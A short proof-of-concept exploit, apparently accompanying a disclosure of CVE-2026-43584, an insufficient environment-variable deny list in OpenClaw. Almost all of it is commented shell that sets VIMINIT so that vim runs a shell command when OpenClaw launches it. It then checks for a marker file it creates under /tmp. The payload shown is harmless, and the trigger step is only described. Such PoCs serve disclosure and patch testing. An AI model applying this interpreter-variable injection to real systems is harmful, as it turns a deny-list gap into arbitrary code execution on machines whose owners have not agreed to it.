CVE-2026-43584 OpenClaw环境变量拒绝列表不充分漏洞

# Exploit PoC for CVE-2026-43584 # This demonstrates how an operator can override environment variables # to achieve arbitrary code execution when OpenClaw invokes an interpreter. # Step 1: Set the malicious VIMINIT variable # This tells Vim to execute a shell command upon startup export VIMINIT="!touch /tmp/OpenClaw_pwned" # Step 2: Trigger the vulnerable exec environment in OpenClaw # (Simulated command that would trigger the internal policy) # The OpenClaw system eventually calls 'vim' during its workflow. # When vim starts, it reads VIMINIT and executes the command. # Verification: # Check if the file exists ls -l /tmp/OpenClaw_pwned